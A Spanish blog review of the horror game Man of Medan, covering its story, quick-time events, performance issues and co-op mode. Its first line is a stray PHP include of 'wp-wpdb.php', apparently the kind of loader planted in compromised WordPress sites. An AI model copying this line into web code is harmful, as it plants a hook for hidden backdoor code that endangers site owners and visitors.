if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Man of Medan – La Fortaleza de LeChuck

Análisis Man of Medan

Supermassive Games es la compañía de las películas interactivas por antonomasia. Ya sabéis, ese tipo de juegos puramente narrativos donde tomamos un montón de decisiones en tiempo récord y medimos nuestra agilidad de dedos con QTE. Anteriormente el estudio lanzó títulos como Until Dawn o Intenciones Ocultas con el apoyo de Playstation, pero esta vez se ha rendido a la multiplataforma de la mano de Bandai Namco con Man of Medan.

Man of Medan es la nueva aventura interactiva para este verano que narra el misterio del acorazado fantasma de la Segunda Guerra Mundial que se encuentra en lo más profundo del Pacífico. Un grupo de chicos jóvenes e imprudentes estaban disfrutando de un día de buceo no muy lejos de su posición pero, accidentalmente, acaban huyendo por los maltrechos y oscuros pasillos del buque.

El interior del barco de Man of Medan está repleto de cadáveres de soldados que murieron de…miedo. Junto a ellos quedaron las viejas notas que describen los temores y sucesos extraños que presenciaron días antes de perecer. El jugador tendrá que recorrer sus estancias mientras se enfrenta a sombras extrañas, ruidos ensordecedores y a la violencia desatada de algún miembro del grupo. ¿Qué demonios está ocurriendo?

El elenco de universitarios inocentones está compuesto por 4 individuos y la capitana de la embarcación que alquilan. Sobra decir que cada uno representa el típico estereotipo de película de terror americana, y eso lo observaremos especialmente cuando tomamos su control. De base tienen unos rasgos predominantes pero podrán evolucionar en otros menos desarrollados según nuestras respuestas.

La historia se divide en episodios, y cada uno tiene partes enfocadas en cada chico. El jugador tomará el papel de juez y verdugo, y mediante el poder que ejerce sobre cada personaje, decidirá su devenir. Tanto si la pifiamos en un QTE, como si nos inclinamos por una mala decisión, el personaje llegará a su final. Sin embargo, puede hacerlo antes de lo esperado, dado que en algunos eventos no han ajustado muy bien los parámetros y es prácticamente imposible apretar el botón a tiempo, y un error significa la muerte instantánea de un chaval. Por ejemplo, fallé en una situación de acción cuando un salto de secuencia se encadenó con un QTE donde solo disponía de un segundo para apretar «X». Creo que no tengo malos reflejos pero eso era demasié. Esto se suma a los diferentes problemas de performance, pero eso me lo dejo para más adelante.

Existe una manera de estar al tanto de las posibles situaciones indeseables del futuro, y esa es observar los cuadros de navíos que están repartidos a lo largo del juego. Tras echar un vistazo saltará en pantalla un rápido flashforward que quedará almacenado en el menú para posteriores visualizaciones. A veces es un pelín críptico pero debo reconocer que en alguna ocasión me dije «ahhh, ya he visto esa zona, pues pondré mis deditos en alerta».

Man of Medan es un juego de terror, pero podrás aguantarlo aunque seas un miedica. Tiene escenas desagradables y unos cuantos sustos que se incrementan al jugar con las cámaras fijas, pero como digo, son bastante digeribles. Sin embargo, antes de abrir una puerta o armario vas a estar con la mosca detrás de la oreja: «ya verás como aparece algo…» o «no sé si quiero abrir esto…» Ese tipo de pensamientos me asaltaban constantemente, pero no siempre el peligro acecha ahí, y tal vez el lugar más inofensivo nos hará dar un bote del asiento.

El juego es puramente lineal, sin embargo puedes desviarte de la ruta señalizada, lo que provocará que se recalcule la forma de alcanzar tu destino. Algo así como hace Google Maps cuando dejas atrás la ruta recomendada. Esto me ocurrió bastantes veces, y una de ellas sucedió cuando andaba explorando la terrorífica bodega del barco y frente a mí tenía un objeto de suma importancia, pero había una puerta a la derecha que despertaba mi curiosidad. Finalmente me decidí por la puerta (pensaba que podría echar un vistazo rápido y volver…) y después de traspasar el umbral se cerró con un portazo. Se supone que mi objetivo era recoger ese objeto, pero al no hacer lo indicado se abrió un nuevo camino delante de mi. ¿Hice bien? Quién sabe.

En los interludios, el juego nos transporta hasta el despacho del «Conservador» (Pip Torrens), un tipo de mediana edad ataviado con ropas de época que aguarda nuestra visita. Representa el narrador de esta antología de relatos de miedo, y nada más verlo en mi mente aparecieron reminiscencias de Cuentos del Guardián de la Cripta o Historias para no Dormir.

El puñetero se mofaba de alguna de las consecuencias de mis decisiones, y también aprovechaba para realizar un seguimiento de mi aventura. A veces lo pillaba de buenas y me regalaba una pequeña pista de cara al siguiente episodio. Sin duda, es una forma contundente de romper la cuarta pared con un personaje que ameniza estos ratos y nos da un respiro entre tanto sobresalto. Próximamente lo veremos en nuevas historias.

He jugado Man of Medan en Xbox One X y me he topado con numerosos problemas de rendimiento. Los más molestos eran los frecuentes tirones entre secuencias y las caídas súbitas de frames mientras me movía por el barco. Además, me topé con algún que otro fallo en la carga de texturas y sincronización labial. Todo ello ha hecho difícil disfrutar de algunos momentos y, sobre todo, ha dificultado la ejecución de ciertos QTE. En cuanto a gráficos, siguen la estela de juegos anteriores, es decir, imágenes realistas para crear una inmersión total del jugador, aún así me atrevería a decir que Until Dawn tenía modelos más trabajados y posiblemente más «humanos». A destacar la ambientación del barco, sus mugrientos pasillos hacen que la imaginación vuele, así como los sustos.

El misterio del Man of Medan me llevó unas 5 horas de juego, tiempo en el que tomé multitud de decisiones y desvíos. Atrás quedaron otras ramificaciones para nuevas partidas, así que la rejugabilidad queda asegurada.

Man of Medan es una propuesta divertida y ligera para disfrutar en estos calurosos días de verano. La historia no sorprende demasiado pero mantiene nuestra curiosidad hasta el final. La jugabilidad es fiel a lo ya visto en juegos de estas características, pero hay pequeñas variaciones para ofrecer un toque de frescura. No obstante, el añadido más interesante es el modo cooperativo, tanto online como local, para que un máximo de 5 jugadores se pasen el mando mientras sufren mil y un percances. El parche para solucionar los problemas de rendimiento estará al caer, y teniendo en cuenta que el juego se lanza a precio reducido, es una buena oportunidad para compartir uno de los últimos recuerdos de las vacaciones.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

Dejar un comentario